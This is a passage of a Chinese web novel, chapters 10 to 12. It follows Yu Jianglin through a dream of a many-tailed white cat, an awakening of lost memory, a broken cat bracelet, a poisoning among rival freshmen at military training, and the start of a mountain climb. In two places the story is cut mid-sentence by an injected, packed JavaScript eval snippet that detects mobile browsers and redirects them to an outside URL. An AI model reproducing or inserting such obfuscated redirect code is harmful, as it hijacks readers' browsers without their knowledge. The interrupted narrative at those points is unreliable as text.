“拆分卫生部,一部分跟随棠部长留守主校区,另一部分随谢部长前往后山。军训一切照常,除体育部维护现场秩序外,其余部门即刻听从临时调遣安排,做好随时增援准备。一切以新生安全为先——必要时舍弃主校区阵地。” 10. 梦醒 今天便是军训了,虞江临比往日起得更早。 闹钟原定在凌晨三点响起,虞江临几乎与其同一时刻醒来,在对方响动前便快速关上闹铃,摸黑爬起床。 他只开着床头昏暗的小灯,窸窸窣窣换上昨晚提前叠在枕边的衣服。 基础款的白色运动衫配白条纹蓝底长裤,脚下是一双干净的白色运动鞋。虞江临从来穿得简单,可再简单的布料挂在他腰身上,总透出一股异于常人的贵气。 像他这样的人,若是随便披件床单到身上,往人群里走上那么一圈,恐怕也会被竞相称赞。人们必是要被骗得裤衩也不剩,纷纷以为那“大道至简”的布料是什么稀罕物了。 ——他还真做过这种事。 不过那也是很久远的事情了,久到如今这世上鲜少有人知道,传说中的虞江临也曾是个顽劣性子。 弯腰系上一个漂亮的鞋带,随后又打开手机自带的手电筒——这功能还是虞江临昨晚刚摸索学会的——他把亮光调低往脚底下探,轻声慢步朝洗手间走。 虞江临尽量没发出太大声响,很快便洗漱完毕。他踩着轻巧的步伐回到自己的小桌前,把昨晚整理好的背包再度清点一遍。 最后,便是背上背包轻轻合上门,期间决不打扰室友们的好眠。 虞江临总是寝室内最安静的一份子,没有哪个室友会抱怨他太过吵闹,他是如此贴心——甚至贴心过了头。 当虞江临迈着轻快的步伐下楼,被他关好门的寝室内仍旧安静无声。 ——这是自然的。 毕竟这屋内除了虞江临的床位整整齐齐铺好了床单被套,其余皆是空旷一片。 自从这学期开学以来,虞江临的寝室便只住进了他一人。 . 此时天还未亮,一群年轻人便提着装水的小布袋,背着行军包,精神抖擞上了校车。 他们此行便是要穿过中央校区,去到学校西部一片空旷的海滩处。接下来为期一周的军训,将在此处海滩及周围山林中度过。 校车自然不是校园内最常见的八人座敞篷款,大概是学校为了军训而从仓库里捣腾出的旧货,大块头巴士看着十分有年头,倒是能容纳下一班数十人。 宁静夜色中,虞江临挑了个靠窗位置,坐在后排。 他旁边没什么人来坐,大家似乎都刻意避让了周围的位置。虽说车上都是同班同学,可也才开学没几日,彼此间不算相熟。 虞江临与他们不熟悉,他们却是对虞江临这张脸熟悉极了。 没有谁有十足的底气坐到这位同学身旁,真要是有个勇猛的英雄站了出来,也当即会被周围一圈打量的视线敌视。开学短短几日,虞江临的脸便连同这个名字,悄悄在新生间热切讨论起来。 那确实是极为精致的脸孔,可如果只有一张脸,绝不会引得这么多热切的目光。 一定还有某些别的,那是只存在于虞江临身上的东西,兴许是气质,兴许是神态,甚至可能是那又温又冷的标志性的笑……某种神秘不可捉摸的东西,令名叫虞江临的存在,与众人鲜明地区分开来。 在虞江临所不知道的背后,他成为了人们关心的焦点,交谈的中心,如同过往任何时候一样。 似乎从来如此,世上认识虞江临的能人异士很多,越是厉害的家伙越是不可能没听过他的名字——却也仅单方面认识。 虞江临自己本不多的熟人里,则好些淹没在历史的长河中,故人寥寥无几。 好在虞江临如今并不觉遗憾。 ——毕竟,他全忘了。 刚坐下没多久,便见校车慢悠悠扭上小坡,黑蒙蒙的夜色中,大巴晃荡得跟助眠摇篮似的,虞江临索性闭起眼睛养神。 头顶上的车灯照下来,将这张脸勾勒得愈加明媚。 见“男神”睡觉了,学生们偷偷打量的目光便愈发肆无忌惮,不少人甚至悄悄拍了照。 有人拍照前还正暗暗吐血:开学典礼上,学校那仿佛打了马赛克的大屏画质,竟能将这等颜值拍成简笔小人。 等自己咔擦一通猛拍,却发现每张照片都糊得难以辨认,还不如简笔画…… 以上种种,虞江临自然是一概不知, 车身晃荡间,他渐渐呼吸匀速,不知不觉陷入小憩。 . 虞江临意识到自己在做梦。 梦中,一只白毛小猫咪端端正正坐在古香古色的长矮桌前。桌上是成堆成摞的线装书与竹简,几乎淹没了小猫的身体。 小猫像一摊水,不时融化到椅子上,瘫成软乎乎的猫饼。 猫饼昏昏欲睡,又很快打起精神,重新坐好,继续用功。 小猫学习中,白雾缭绕在梦境周围,俨然神仙幻境。 虞江临就这么坐在旁边,安安静静看着小猫用那绒球般的小爪子抓着毛笔奋笔疾书。 他看不见自己的样子,也不知道自己是如何坐着,或许在这梦境之中,他便是以灵魂状态漂浮。 他看了很久,久到虞江临几乎要以为自己在这梦境里度过了一生。 他看见随着时间的推移,小猫咪的屁股后面逐渐长出来第二条、第三条……许许多多蓬松绵软的大尾巴。 雪绒似的尾尖闪烁着金子般的光彩。 如仙人座下白莲,如佛祖背后金光,它们摇曳在那团小小的身影后,仿佛要把小猫托举上天空。 当生至第八尾,梦境戛然而止,一切凝滞。 飘渺的白雾散开,成堆的竹简与桌椅消失,整个梦只剩下一片漆黑以及漆黑中一枚白得发光的团子。 八尾猫浮空端坐,轻舔爪子。 【它可真是一只漂亮的天才小猫,不是吗?】 虞江临听到有人喟叹,像是最盲目的家长为自家小孩而沾沾自喜。 那八尾的小猫将花束般的尾巴收好,又迈着短短的小腿朝着某个方向狂奔,似乎在追赶什么。 可它只是一只普通的小猫咪而已,又能跑出多少距离呢? 不知过了多久,它终于停下来,很是委屈地把自己缩成一团,似乎认清了自己与它所追赶之物间的宏然沟壑。 这时候另外又有些小小的影子靠近猫。 那些影子同样有着尖尖的耳朵与长长的尾巴,似乎是猫咪的同伴。 它们安慰着猫咪,像是要在漆黑中给予猫咪一份毛茸的贴贴。 白色的猫咪果真不再蜷缩了,它站了起来……与影子们扭打成一团。不,应当说是单方面殴打着那群可怜的影子。可怜的影子们毫无还手之力。 【它只是太害怕,太伤心……】 那道声音听起来有些犹豫,但还是试图为白猫的坏脾气寻找着借口。 白色的小猫咪终于将一众同伴揍趴。 它利落地甩了甩浮毛,随后继续迈着这短小而坚定的腿,将这通猫猫拳施展给更多的影子。 越来越多的影子朝着这里游动,仿佛此处便是这方漆黑空间的中心。那些影子不再是柔软的猫咪样子,反而奇形怪状,巨大无比…… 小小的猫很是努力地打着群架——指它一只猫打一群敌人。 又偷偷摸摸地从这些影子身上咬下来什么东西,鬼鬼祟祟藏在毛绒大尾巴里。 【……小坏猫。】 那声音有些无奈,不知是气的,还是笑的。 猫并不总是能打赢,毕竟它只是一只猫而已。 有时候它那好看的皮毛会被影子吞噬掉一部分,它变得很难看,不再是曾经漂亮的样子。 可猫还是执着地护着这方空间。 它不断不断地打架,不断不断地击退来敌,不断不断地从“那些东西”身上撕扯下来“某种东西”。 终于,猫暂时停下了殴打。 它飞快地扫视周围一圈,似是在确认短暂的安全。 虞江临挑了挑眉。在他仔细思考前,某些潜意识里熟悉的画面便先一步与眼下场景重合。 ——他认得小猫这护食的样子。 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那是何等落寞的坟,甚至没有旁人上前来献上一株花。人们只遥遥眺望,哀伤着惋惜着叹息着,见证“它”的凋零。 唯有一只小小的白猫湿哒哒衔着好不容易卷好的毛球,把白色的小小的自己融入到那死寂的黑夜中。 它努力抬起脑袋,凑上去又松开嘴。 于是那毛球便掉落于“坟”中,消失不见。 没有谁知道这毛球能起到什么效用,又或是它究竟是否能起效。毕竟相对于那大得令人绝望的阴影而言,这团毛球实在太小,太小了。丢下去的石子儿连一丝回音也没有。 猫却没有气馁。它用湿漉漉的鼻尖贴了贴那冰冷的阴影,便打起精神来再度跑出去。继续巡视领地,继续舔血打架,继续用好不容易撕扯下来的材料卷着一颗颗毛球。 如同不知疲倦的鸟儿,日复一日、夜以继日地衔来石子,直到终有一日要将沧海填满。 虞江临只是望着,沉默。 寂静中,他好像听到了一个名字。 有人在轻声唤着一个名字,那声音中的情绪是如此亲昵,如此忧伤,如此……惊讶,而又惘然。 仿佛疲惫的旅人孤身于荒漠中走了很远很远的路,蓦然回首才终于发现,有只小小的猫一直缀在自己脚边。弱小的小东西辛苦而执着地追随,像是要永远这么执拗地陪着旅人走下去,直到生命的尽头。 【……】 【……小缘?】 那执着的猫竟也抖了抖耳尖,似乎是听到了熟悉而久违的呼唤。 它转过头来,仿佛要与虚空中的某道视线对视。 虞江临这时才看清了小猫的正脸。 那是一双冰冷的蓝金异瞳眼。 “……小缘?” 虞江临听到心底里有人在说话,这一次的幻觉比任何一次都要更为真实。 好一会儿,他才后知后觉意识到,这是他的嘴唇在翕动,这是从他自己舌尖发出的声音。 原来从始至终,都是他自言自语。 . 伴随着一阵凄然惊悚的鸮叫,虞江临醒了。 他醒得很突然,悄无声息。 就在许许多多人期盼他永远永远地不要醒来之时; 就在许许多多还记得他的人们虔诚祈祷着希望他醒来之时; 就在许许多多已不记得他的人们偶尔为心底某种奇怪的情绪黯然伤神之时; 就在某只又凶又坏的猫半是期待半是恐惧那一日来临之时—— 虞江临毫无征兆地醒了。 没有盛大的迎接,亦没有四面楚歌的围城。 或许这世上除了虞江临自己以外,没有谁能知道他是何时醒来的。 这只是一个很平凡的、即将迎来破晓的凌晨。 他睁开眼睛,无人知晓。 11. 军训 【听说溺死的人会在下一辈子做一条鱼。】 【那么溺死的鱼呢?】 【鱼?鱼怎么会溺死呢?】 【不,这世上从没有溺死的鱼,除非……那鱼甘愿自刎于海。】 . 虞江临是在这一刻从那黑甜的梦中苏醒的。 他靠着冰凉的椅背,此刻车身已不再晃荡,入目座位亦是空荡。 他好像做了一个梦,一个很长很长的梦。 梦中的情景已记不太清了——准确来说,他似乎完全遗忘了曾活于世的过往。记不得,理不清,思不明。 仅存的一段记忆,便是站在一所校园中,遇上了一只猫。而后历经短短几日的校园生活,再然后,便是要随新生们一同前往军训。最后的画面停留于他坐在校车上昏昏欲睡。 就连过去几日的时光,也掺杂着些模糊的痕迹,仿佛雾里看花,叫人看不分明。似真似假,如梦如幻,古怪莫名。 虞江临直觉不对,他审视起过去几日“自己”的一言一行……嗯,那个“自己”似乎有点傻气,无知无觉,时不时做些令他无法理解的举动,对周遭一切异象更是无所察觉,疑似中了幻术。 ——幻术?这世上能有人给他下幻术?他竟然还真能中招? ——若真是幻术,那么如今又是因何而解?莫非施法者…… 思考间,余光瞥见一抹蓝,琥珀色的眼睛情不自禁向外瞧。虞江临看见了一片海,他缓缓向前倾身,几乎是轻靠在窗沿上,细细端详那片深蓝色的远景。 车窗上有几点污斑,应当是常年落下的痕迹,轻易无法清理。虞江临却没在意,他只觉得这块玻璃很好,很透亮,将海的颜色照得那么清澈。 那刚苏醒而泛着冷意的警惕目光,逐渐被这深蓝的色泽融化,流淌起一种他如今无法理解的温和与怀念。 ——自己从前或许很喜欢这样的蓝色。他想。 过了不知多久,也许仅仅只是一小会儿,几秒钟的间隙,虞江临听到有人于背后不断念着什么词。 “……同学?同学?” 他转头看去,见到是位留着寸头的陌生学生。对方肌肤呈小麦色,看起来阳光而和善。 见终于喊动了人,这人微笑道:“同学,到达目的地了。我刚才叫了好久才把你叫醒。” “谢谢,不好意思,我刚才睡得太沉。”虞江临同样微笑。 他调整下坐姿好方便交流,一只手随意摸上另一只手腕,竟是摸到什么东西,动作一顿,又不动声色地将手连同“那样东西”一起放入裤子口袋。 ……刚才坐在身边的,是这位同学吗? “没事。我就是想要问问,我们两人在军训期间组队如何?”对方没从座位上让开,接着又问。 虞江临顺着对方的话,歪歪脑袋不解问:“组队?” “啊,你刚才睡着了,没听见。领队的那位学长说,到了目的地后我们可以几人为一组,按组行动。如果可以的话,我想邀请你组队。” “必须要组队么?”虞江临又问。 “听起来似乎单人行动也可以。不过我想人多力量大,到时候各项考核更容易通过,出了什么事也能互相有个照应,不是么?”一番话说得在情在理。 听起来运动神经好的学生将更容易被投掷橄榄枝。虞江临静静扫了眼对方身上明显长期运动的痕迹,他没有掩饰自己的打量。 随后露出恰当的微笑:“可以。不过同学,你的手指怎么了?上面似乎在流血?” “……啊,刚才不小心划伤了,不碍事。”对方含糊回答着,便将受伤的手插入裤兜中。 虞江临没有在这个话题上继续深聊,他仿佛只是随口一提,很快便跳过:“我是虞江临,还不知道同学你的名字呢。” “我叫宋林。”宋林笑出一口大白牙,显得十分爽朗。 . 二人下车时,其余学生已在车旁空旷处列队。 虞江临从车上迈出最后一步,脚踏上沙地。 他没有跟随那位队友立即进入队伍,只是就这么站着远眺海滩风景。 此时正临近日出,海风迎着清晨朦胧的水汽吹散而来。 人群里夹杂的细碎闲聊与零食咀嚼声于身后零星飘来,直至夜空中寂静的深蓝晕染开原本漆黑的一片,人们不约而同屏住呼吸。那纯蓝的深天,仿佛就是海,只是最上层还沉着一道未曾隐去的黑夜。 不知多了多久,深蓝被稀释得淡了许多,其下逐渐吐露出粉红与淡金,薄而纤细,只一线晕出,像是海的脉搏。嫩红之下,临海的石滩勾勒出隐约的轮廓,尖锐的石块不规则起伏,如画梅剪影。 清水般轻淡的天空中,烛光般小而珍稀的一抹宝石,缓缓自海面露出娇嫩面容,逐渐上浮,上浮,直至成熟为一枚圆润的赤金火玉佩,将整只天整只海都染成旧照片的昏黄。 ——好美。 ——好像很久很久没有看到这么清晰的视野,也很久很久没有过这般清晰的思维了。 任由风牵起那缩水得仅齐肩的长发,虞江临独自站在人群之外,观赏着久违的海上日出。无人提醒他归队,似乎所有人都如他一般沉浸在这瑰丽的壮景中。 他的视线从被晕染开的海平面上移,移向海天分割的交际线,移向多彩而绚丽的高天,直到最终锁定至那枚悬停的金日。 金色的太阳倒映在这琥珀色的眼中,黑发的青年仿佛也被折射出一双璀璨的金瞳。 许久,他缓缓垂下眼眸,手插进口袋里,边用指腹轻捏起那只猫咪手链,边转身往人群走。 方才在车上睡醒时,他便发现手链断了。 ——有些心疼。 . 理论上,这应当是虞江临第一次体验军训。 清点好人数后,带队的学长便拍拍手,随后宣布:“上午正式开始操练,大家记得提前休息好。我们班分到的营地在那片礁石后面,背靠后山,一会儿可以去扎帐篷了。” 直到一伙人稀稀拉拉朝着营地方向走去,虞江临才落后几步跟上。 新队友倒很是热情,竟也刻意放慢脚步,问起他对招揽其它队友的意见。 “我没什么想法,你是队长,我听你的就行。”虞江临摆出好队员的姿态。 “……我是队长?”宋林挠挠头,似乎很是惊讶又不好意思,“我只是想和虞江临同学你组队,没有要抢当队长的意思。” “我不擅长运动。军训这种活动,果然还是宋林同学这样的人更适合来领队,不是吗?”虞江临随口找了个什么借口应付,连大脑也懒得过。 如此说着,他想到什么,伸出一截手腕,兀自端详着,仿佛第一次认识自己的身体。他看着自己的肌肤在阳光下显露出近乎病态的苍白,似乎这只纤细的手轻易便能被折断。 ——自己从前这么虚弱么?应当不是。 “好吧,那么我会努力找到我们的新队友的!目前我打算再给我们找两个队友,组成四人小队。”宋林笑着接过了队长的活,随后他仿佛是才想起什么,状似不经意问道,“虞江临同学有听说过后山的传闻吗?” “后山的传闻?” “听说我们军训时就会在那山上活动。有传闻称那山上死了人,每当夜深之时,便会有死去的人从山里爬出来,往校园……” “嘿,江临同学!”响亮的声音从不远处传来。 虞江临津津有味听故事的心思被打断,他往那边一看,见到是个熟人——至少对他那短短几日的记忆来说,是熟人。 对方刚从另一辆校车跳下,便大步跑着朝这边而来,同时挥着手。一头蓬松的黄毛随之颤动,像是迎风起舞的麦田。 虞江临挑眉:“谢金学长?您怎么……” “你是不是要问戚缘?他有点小事,所以就没法来看你啦。我嘛,则是来当志愿者的。” 谢金笑笑,几声招呼间便不着痕迹将宋林挤到了外圈。 他走在虞江临和宋林两人间,本就长得高大,此刻将宋林完全挡了个严实。 虞江临默默听着,没有反驳,也没有询问什么。 只是听到某个名字时,指尖下意识动了动。 “说起来,你们军训期间是不是要组队?找到组队人选了吗?”谢金低头看着比他矮上许多的学弟问。 “目前我们组里面加上我还只有两人。”虞江临如实回答道。 “哦?除你以外的那位是……”谢金仿佛真没看到旁边有人,十分困惑地环顾一圈,等视线扫到某个人形物体,又十分夸张地露出恍然大悟的表情。 “噢——原来是这位学弟呀。” ——那拖长音的语气词还挺欠揍。 虞江临有些好奇他的新队友会做出什么反应。 宋林倒是丝毫没有被冒犯到样子,很有礼貌地接话:“谢金学长好,我是宋林。” “你好像认识我。”谢金咧着嘴说。 “学生会的各位部长在校园里没有谁不认识。”宋林的解释也没什么问题。 谢金笑了笑,倒是没再继续说什么。 . 如那位带队学长所说,他们所分到的营地坐落于后山脚下,旁边有林子和礁石遮掩,树林阴翳,显得十分僻静。对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703519|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于军训而言,再没有比这更好的选择了。 学生们都已开始三三两两扎帐篷。一顶顶黄橙橙的小帐篷拔地而起,如同雨后喷涌的鲜亮蘑菇。在它们周围又散落着些零星的矮凳,桌布,以及刚架好的锅具。比起军训倒更像是野外露营。 来到营地后不久,宋林说着去招募队友便独自离开了。对方离去的方向,似乎是其他班的位置,很快便消失不见。 虞江临找了个远离人群的干燥位置,卸下行军包,撸起袖子,便开始埋头扎他的单人小帐篷,手脚麻利极了。 谢金站在一旁观察了会儿,忽然问:“你不给你的队友留点位置么?” 这位看起来礼貌极了的学弟,实实在在把帐篷搭在了这块地正中央,再没有谁能利用那些边边角角的地块。 虞江临正打上最后一枚木桩,闻言头也不抬,边干活边说:“夜晚睡觉时最容易遇敌,防人之心不可无。学长您就是那种会在细节处被人暗算的类型。” 普普通通的军训俨然被他说成了什么野外大逃杀,听起来荒谬又古怪。 被莫名指点一通的谢金竟也没什么恼意,只低头默不作声扣了扣背包上的橘猫挂坠,像一个被班主任唠叨的小学生——不服气,却又不敢还嘴。 很快便有人来打破这微妙的氛围。 一名手臂戴有红袖章的学生跑来,低声朝谢金报告起什么。 “开学那几日确实有新生闯门禁……不,当晚监控被毁……纪律部那边并未查出身份……学生人数正确,目前没有死亡……和主席的通讯断了,忽然联系不上……” 这一言一语可谓是细思极恐,虞江临却只是默默坐在刚搭好的帐篷前,面无表情捧着那根断裂的猫咪手链,像是要将之盯出花来。 虞江临认为,但凡一个心智正常的人,都能判断出那位曾操弄他心神的幕后施法者身份。这短短不到一周的校园时光里,与他接触最多同样也最为古怪的,当属那位白发蓝眼的“戚缘学长”。 白毛的小猫,护送他回宿舍又送他手链的学长,“猫猫社”的社长,“生活部”的部长,以及“学生会”的主席……呵,这人的身份还挺多。 如今手链断了,而他又获得久违的清醒,恐怕这位“学长”已凶多吉少。 虞江临捏着手心中的白猫团子,把团子又挤又揉,明明被“戏弄”的大仇得报,却莫名并不觉畅快。 “抱歉,江临同学,我得离开一会儿,学生会那边有些事……”谢金说着,就要跟着那位红袖章走。 “谢金学长。”虞江临突然在这时候叫住了谢金。 “怎么了?” “戚缘学长现在还好吗?”他盯着手中的小白猫问。 “你听到了?那家伙不知怎么的不回消息……但不是有句老话吗?所谓‘祸害遗千年’。世界毁灭了,他这种家伙都不会死的。”谢金说了句令人摸不着头脑的话,很快便离开了。 小小的单人帐篷前,又恢复了寂静,没人来打扰。 直到大部队通通在营地驻扎好,广播响起,催促还未领取炊具的同学前往物资派发处。 虞江临终于站了起来。 微冷的风袭来,胡乱掀起他披散的发尾,把单薄的上衣吹得鼓起,更显得这具身躯的清瘦。仿佛这风再猛烈些许,便要将人吹倒。 “虽然忘记了很多事,但我觉得我从前大概不是什么容易心疼别人的好人。”他自言自语道,琥珀色眼瞳此刻显得有些渗人,“……那根手链我真的挺喜欢的。” . 虞江临抵达物资处,负责的志愿者赶紧将最后一箱物资搬出。 “同学你再清点一下,里面有锅,水壶,木架,罐头,菜刀……”志愿者一件件把东西从箱子里拆出。 他再抬头,发现那位容貌昳丽的学弟正拿起菜刀,放在手中细细打量。画面一时怪异。 这菜刀还挺沉,刀柄过重,刀身过宽。每学期都是这么个款式,每学期都有新生吐槽,每学期体育部都不做改良。总之比起砍菜,这粗犷的大刀似乎更适合砍柴。 笨重的菜刀此刻便稳稳被握于那纤细的手上,对方手腕一翻一扭,刀便在根骨分明的手中起舞,斑斓日光浮动其上,翩然若银翼蝶。 志愿者看呆了眼。 直至空气中破开咻的最后一声,他才从怔愣中惊醒。原来对方已利落收好刀柄,此时正温和望着自己。 志愿者无端感到背后一阵冷意,那暖色调的琥珀瞳忽然给他一种诡谲的不和谐感。 但只见这位看起来温和有礼的小学弟露出微笑,笑得仍是那么友善:“谢谢您,这刀不错。” 12. 定苍山 把物资领回帐篷,搭锅生火,虞江临默默蹲在锅前,等待锅煮沸。 他一动也不动,像条静待猎物的黑鳞巨蟒,冷血捕食者的瞳眼将小小的坩埚紧紧盯牢。仿佛要是这锅一煮沸,里头的汤便要长翅膀飞跑了。 不过他本就身形不算高大,此刻往地上这么一蹲,更显小巧。比起什么凶狠的巨蟒,倒不如说是一条把自己团成团的宠物小蛇。 ——可爱的小东西,就算是护起食来,也仍旧那么可爱。 曾何几时,虞江临也这么评价过某些“可爱的小东西”,不过如今他显然是不会记得的。 终于,伴随着香气扑鼻的白气升腾,锅中的食物可以开吃。 虞江临认真将肉块与蔬菜捞出,连骨头都没放过。盛了满满一碗后,又拿起另一只碗盛半碗奶白色的热汤。 他端着碗坐回到帐篷前的小板凳上,有些期待地凑近汤碗,喝了一口——又面无表情地飞速吐了出来。 ……好烫。 虞江临缓缓拧起眉,盯着碗中香喷喷的汤水,显然不适应人类脆弱的口腔。默默纠结许久,才依依不舍地将汤碗放回到地上,又端起另一只沉甸甸的食碗,一筷子接着一筷子将食物喂进碗里。 挺新鲜的……好烫。 调味也很好……好烫。 即便被烫得想要吐舌头,虞江临仍旧缓慢而坚定地将碗吃到见底,面色不改,姿态从容。 一碗下肚,他摸着自己平坦的小腹,稍有些茫然。 这碗的容量算是不小,比起碗倒更像是一只小铁盆,可如今明明已该吃饱喝足,躯体却毫无饱腹感,灵魂深处都在叫嚣着好饿,好饿。 他又抬起视线重新盯着那口热腾腾冒气的锅。 似乎进食已失去了意义,可他真是饿得出奇。 虞江临一动不动地盯着面前静止的锅,过了不知多久,他忽然侧过头,遥遥望向远处。那里热热闹闹的学生们正围在一起,说说笑笑欢快吃着饭。 ——他们看起来好香。 虞江临抿起嘴,收回视线,他蹲在锅前又给自己盛了一碗汤。 . 大约是在虞江临喝下今天第三碗肉汤时,那位叫宋林的队友才回来。对方身后跟着另两位陌生面孔,大概就是他找来的新队友了。 三人靠近时,虞江临正坐在他的小板凳上,捧着碗默默喝汤。 巨大的铁盆将他下半张脸都挡住,只留下一双眼睛乖乖露在外面,像是在表达:你说吧,我在听。 宋林果然嘴巴一张,就兀自叭叭个不停。介绍完队友名字,又介绍两位各有什么特长。一个擅长攀岩,另一个搏斗技术颇佳。 等卖力地说完一长串,宋林发现一会儿功夫不见,虞江临竟然往单件衣衫外又加了个外套。这外套还挺大,罩在虞江临身上把对方的身体显得更单薄了。 ……今天有这么冷么? 他刚一觉得奇怪,就听见对方笑吟吟又问:“那么宋林同学擅长什么呢?” “我脚上功夫还算不错,以前在田径项目上得到过些奖项。”宋林垂下眼睛,笑得很是腼腆。 “真厉害。”虞江临很是表面功夫地夸赞道,又似乎想起来该轮到自己做介绍,“我没有什么擅长的,接下来这段时间只尽可能不给大家拖后腿了。” 宋林立即做惊讶状:“怎么会拖后腿?多少人都想邀请虞江临同学入队呢。” 说着他又很是自然地指向旁边还剩大半的锅:“闻起来真香呀,我到现在都还没吃饭,快要饿死了。” 虞江临仍旧笑眯眯:“那可真是太糟糕了,趁现在休息时间还没结束,如果立刻开始做饭,还是赶得上吃几口的。对了,你们挑好扎营的地方了吗?现在这个时候应该只剩下稍远些的空地了。” 他一点儿也没有将食物分享出去的意思,更是几句话间就拒绝了与队友们露宿一块的可能。 宋林仿佛没有接收到这委婉的拒绝,又问道:“江临同学这是已经用完餐了吗?我看这锅还剩下一半,要是浪费了……” “不要在野外轻易接受别人的食物,这世上大多数人的胃是很脆弱的。”虞江临的语气是如此认真。 ——假的,他单纯不乐意把自己做好的饭给别人吃而已。 “……好的,谢谢你的劝告。”宋林嘴角细微抽了抽,继续笑道,“那我们就在那边去扎营了,等我们做好饭后,江临同学要不要尝一尝?” “不用了,但还是谢谢你的好意。我的胃现在也很脆弱,不能随心所欲吃东西了。”虞江临的语气还是如此认真,甚至带上了几分真情实感的失落。 ——这次是真的。 “……好的,那么回头见。”宋林的嘴角更抽抽了。 打完招呼,宋林便带着两位新队友离开,去找扎营的空位。 虞江临只坐下来重新给自己又盛了碗汤。这汤算不上多么好喝,充其量只能饱腹,对虞江临来说连饱腹作用也没有。 他却喝得很虔诚,等喝完了便把脑袋放空,盯着树上某片树叶发呆。他很快反推出速食肉汤的原材料制作过程,又琢磨出几点改良建议。 随后,虞江临便发现,没有谁能乖巧地听从他的建议——他只是一个普通的小小新生而已。他眼中再度浮现茫然,仿佛生平第一次遇上这种事。 等休息时间终于结束,虞江临默默收拾起锅碗,他听到远处营地那边又是传来嘈杂的响动。 抬起眼皮,见到人群乱成一锅粥,有人推搡,有人摔锅,还有一队穿着制服的学生抬起担架来,把几个不省人事的家伙抬走,看起来情况颇令人忧心。 虞江临托着下巴发呆。 ——看,这就是随便与陌生人分享食物的坏处。 . 等到了集合点,见队列中人数明显少了一些,又听到周围人七嘴八舌说着什么,虞江临便问起离他最近的一人。 “同学,你好,我想问问刚才我们班营地这边……” “你绝对想不到!竟然有人往锅里投毒!”回答者十分激动,不好说是兴奋还是愤怒。 “才第一天就投毒?查出来是谁了吗?”虞江临好奇又问,没有多少惊讶意思。 “不是‘谁’的问题,好多人都中招了,他们都吃着不同锅呢。看来就刚才那会儿,不少人都干了这下三滥的诡计!” “这才开学不久,大家彼此间也没什么恩怨,为什么要……” “哪里没有恩怨了?接下来军训的表现可是要算学分的。” “……学分很重要吗?” “当然!不修满学分就无法毕业!就是为了毕业,我才苦苦等了那么久,终于等到入学的机会……只要能毕业,我什么都愿意做。” “可若只是为了毕业,从不需要杀害别的什么人。”虞江临平静陈述。 回答者目露诧异,似乎无法理解新生中还会有人问出如此愚蠢的问题。他便理所当然、天经地义般地如此反问—— “我吃了这么多苦才好不容易得来的毕业机会,凭什么要让别人也享有?” 虞江临没再继续问下去。 . 吃饱喝足,全校的新生都聚集在海滩旁,熙熙攘攘。 一名学姐正站在前头,举着喇叭宣布规则。 “军训第一日,登——山!”说完这句她响亮地吹起脖子上挂着的口哨,把下面成片交头接耳的响动压下去。 “沿途都有方位标识,终点在山顶……看到那座山了吗?到了山顶检验合格,才算是跑完了全程。中途若是身体不适可呼叫志愿者,会有人把你送回山下营地。但如此一来,这项项目则作零分处理……” 顺着学姐所指的方向,只见一座灰黑色的巍峨高山,山顶白蒙蒙一片,说不清是云还是雾气。他们没有谁不熟悉那座山。 任何人站在校内任何位置,抬头仰望都能瞥见山的背影。山从不言一语,只静默俯视着他们。仿佛远在他们还没入学之时,远在这所学校还未建立之时,山便站在那里……而今他们要上山了。 有几名学长正挨个给他们分发荧光运动腰带,那腰带上放置有追踪定位。虞江临拉下外套拉链,把腰带扣到腰上,宽大的运动衫扎在里面,而后拉上外套拉链。 这件外套可真是大,即便塞了这么些东西,看上去也不显臃肿。虞江临回忆了下,似乎是他昨天整理背包时,从衣柜里拿出来带上的。自己怎么会有一件这么大的衣服……嗯? 虞江临眨动眼皮,忽地想到了几日前的一幕。那晚他去借吹风机,被某位学长塞了件外套穿上,似乎也是这样的尺寸。但分明记得当晚便将外套还了回去…… 他伸长手臂,只指尖前浅浅的一寸露出,大半手掌都被包裹于袖口内部。那晚学长的外套似乎与这件尺寸相当,而他自己可绝不会置办这样的衣物。 尺寸一样,但衣服显然不是同一件。所以那位学长趁他不在时,偷偷翻进他的宿舍,把这样一件外套给放入了衣柜里?不,不对…… 虞江临眯起眼睛,一个更为大胆的灵感缓缓浮现。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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墨色巨石与他墨色的长发交相辉映。 他身旁那姓宋的学生见了这上面的字,眼神里登时夹杂了点说不清道不明的情绪。但虞江临没有向旁去瞧,他的视线只沉默地流转于这沧桑的石面,不知在想些什么。 这时候又有三四个学生来了。这几位似乎便是最后面的小尾巴,踩着慢悠悠的步伐,一边走一边嬉笑,还一边吃着自带的小零食,堪比郊游。 他们是如此没个正形,似乎全然没把军训放在心上。 等靠近这镇山石,年轻的学生们却不约而同放慢了脚步,话也不说,嘴巴也不嚼。 他们走到了虞江临前面,站在那石头跟前,对着那“定苍生”几个字,竟是向前弯了一腰。从动作来看,很是生疏,但每个人都把腰弯得很沉。 过了几秒,才又挺直背,继续朝前走,同伴间交谈的几句话落在身后。 “咦,你们刚才弯腰做什么……” “你不也是……” “不知道,但总觉得就这么直挺挺走进去不好……” 很快几个人身影没入山林。 虞江临收回视线,问:“他们在做什么?” “他们在拜这座山,每个路过镇山石的人都要拜。”守在路口的志愿者回答得很简洁。 虞江临若有所思,他又转头看向自己的队友:“你怎么不拜?” 宋林一愣,似是没料到虞江临会说出这样一句话。 他干笑几声:“……噢,要拜的,要拜的。哎呦,我给忘了。”说着便也学着前头那几个学生的样子,对着个石头规规矩矩拜了一拜。 等拜完石头,这两位新晋“倒数第一”才跑进山中去。 